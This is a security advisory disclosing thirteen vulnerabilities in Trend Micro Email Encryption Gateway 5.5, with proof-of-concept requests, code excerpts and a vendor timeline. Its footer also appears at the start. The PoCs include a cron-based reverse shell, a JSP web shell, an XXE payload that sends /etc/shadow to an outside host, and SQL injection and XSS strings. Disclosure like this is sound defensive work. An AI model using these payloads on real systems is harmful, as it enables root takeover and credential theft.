advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

An unvalidated software update vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow a man-in-the-middle attacker to tamper with an update file and inject their own. Failed exploit attempts will result in a denial-of-service condition. *Advisory Information* Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities Advisory ID: CORE-2017-0006 Advisory URL: http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities Date published: 2018-02-21 Date of last update: 2018-02-21 Vendors contacted: Trend Micro Release mode: Coordinated release 2. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. *Vendor Information, Solutions and Workarounds* Trend Micro published the following Security Notes: . https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. The application does also use an insecure update mechanism that allows an attacker in a man-in-the-middle position to write arbitrary files and install arbitrary RPM packages, leading to remote command execution as the root user. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: /----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. *Arbitrary logs location leading to command execution* [CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. *Lack of cross-site request forgery protection* [CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. *XML external entity injection in configuration.jsp* [CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

